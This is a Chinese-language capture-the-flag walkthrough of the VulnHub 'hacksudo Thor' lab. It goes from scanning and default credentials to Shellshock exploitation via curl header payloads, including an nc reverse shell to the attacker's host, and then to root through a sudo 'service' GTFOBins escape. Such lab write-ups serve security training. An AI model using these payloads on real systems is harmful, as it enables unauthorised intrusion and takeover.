一、靶机信息

下载地址:

https://download.vulnhub.com/hacksudo/hacksudo---Thor.zip

目标:

  • 取得root权限和Flag

涉及攻击方法

  • 主机发现
  • 端口扫描
  • 目录扫描
  • 开源代码泄露
  • 默认账号密码
  • SQL注入
  • 破壳漏洞
  • GTFOBins提权

二、主机发现

常规思路arp-scan也可以用nmap

arp-scan -l  

发现靶机ip为:10.0.2.13

image-20240714192906008

三、端口扫描

先对常规端口进行扫描

nmap 10.0.2.13 

image-20240714192945531

发现21,22,80端口开放

进一步获取相关信息

nmap -p 80,22,21 -sV -T4 10.0.2.13

image-20240714193138780

直接访问80端口,查看web服务,发现是个登录页面,随便试了几个弱口令发现没登录成功

image-20240714193240530

四、目录扫描

直接对网站进行目录扫描

dirsearch -u http://10.0.2.13

image-20240714193333087

发现另外一个登录页面还有一个readme.md

访问readme看看有没有有用信息

http://10.0.2.13/README.md

访问目录下载readme文件后,发现项目GitHub地址,访问查看

image-20240714193450609

五、开源代码泄露

翻译过来一眼发现默认账号和密码,

admin

password123

image-20240714193702271

在默认登录页面登录失败,尝试目录扫描出的另一个登录页面,登录成功

http://10.0.2.13/admin_home.php

image-20240714193841442

发现是个管理员账号,可以看的其他用户的账号和密码。

image-20240714193959333

六、破壳漏洞利用

6.1、破壳漏洞原理:

破壳漏洞源于Bash在处理环境变量时的一个缺陷。环境变量通常用于操作系统向运行中的程序传递配置信息。Bash错误地执行了环境变量值中的代码,这些代码本应在特定条件下执行。攻击者可以利用此漏洞,通过精心构造的环境变量来迫使Bash执行附带的恶意命令。

这个漏洞的严重性在于它允许未经授权的远程执行代码,攻击者无需高级权限即可利用这个漏洞控制系统。

6.2、漏洞发现

由于登录进入后台后,获取不到更多信息,继续查看目录扫描发现的其他页面

以后获取更多的信息,查看news.php的源代码

view-source:http://10.0.2.13/news.php

发现cgi-bin关键词,在目录扫描中也发现这个目录,但是状态码时403

cgi-bin漏洞介绍

https://blog.csdn.net/xiaoshan812613234/article/details/42147955

image-20240714194042222

6.3、目录扫描

指定后缀名为cgi和sh

dirsearch -u http://10.0.2.13/cgi-bin/ -f -e cgi,sh

image-20240714194420187

发现存在两个文件

6.4、nmap破壳漏洞检测

发现两个文件都存在破壳漏洞

nmap -sV -p 80 --script http-shellshock --script-args uri=/cgi-bin/backup.cgi,cmd=ls 10.0.2.13

--script http-shellshock:这个选项用于指定要运行的 Nmap 脚本。http-shellshock 脚本用于检测和利用 Shellshock 漏洞,尤其是通过 HTTP 请求注入恶意命令。

--script-args uri=/cgi-bin/backup.cgi,cmd=ls:这个选项用于为脚本提供参数。uri=/cgi-bin/backup.cgi 指定要访问的 CGI 脚本的路径,cmd=ls 指定要在目标服务器上执行的命令。在这个例子中,命令是 ls,用于列出目录内容。

image-20240714194628460

nmap -sV -p 80 --script http-shellshock --script-args uri=/cgi-bin.shell.sh,cmd=ls 10.0.2.13

image-20240714194900011

6.5、漏洞利用

curl -H "user-agent: () { :; }; echo;echo;/bin/bash -c 'id'" http://10.0.2.13/cgi-bin/backup.cgi

网上搜索cve-2014-6271,更改payload

image-20240714195109722

发现执行成功

查看是否存在nc

curl -H "user-agent: () { :; }; echo;echo;/bin/bash -c 'which nc'" http://10.0.2.13/cgi-bin/backup.cgi

image-20240714195134570

存在nc,kali监听,反弹shell,建立命令窗口

curl -H "user-agent: () { :; }; echo;echo;/bin/bash -c 'nc -e /bin/bash 10.0.2.4 7777'" http://10.0.2.13/cgi-bin/backup.cgi

image-20240714195331813

成功建立连接

image-20240714195402308

执行python将窗口升级为/bin/bash模式

python3 -c 'import pty;pty.spawn("/bin/bash")'

image-20240714195440147

七、GTFObins提权

sudo -l

sudo -l 是一条用于列出当前用户在系统上可执行的 sudo 命令的命令

image-20240714195521285

发现/home/thor/./hammer.sh这个脚本不需要密码就能以thor权限执行

sudo -u thor /home/thor/./hammer.sh

sudo -u 指定用户执行,这里指定的是thor

发现第二次输入的命令能够成功执行

image-20240714195836485

直接输入bash,进入bash页面

发现执行成功,为了方便操作再次切换到/bin/bash模式

image-20240714200026671

仍然执行sudo -l

发现 可以以root的命令执行cat和service命令

image-20240714205516102

网站查询是否有利用的payload

GTFOBins

网站使用方式

直接输入可以利用的命令

image-20240714205803486

打开网页,直接查看payload

image-20240714205844186

sudo service ../../bin/sh

执行命令提权成功。

image-20240714200237851

八、总结

打靶思路:

​ 主机发现 ==> 端口扫描 ==> 目录扫描 ==> 开源代码信息泄露 ==> 源代码审计 ==> 破壳漏洞 ==> GTFObins提权

参考文章:

vulnhub靶场-hacksudo - Thor_靶机信息:39.104.60.50:18634-CSDN博客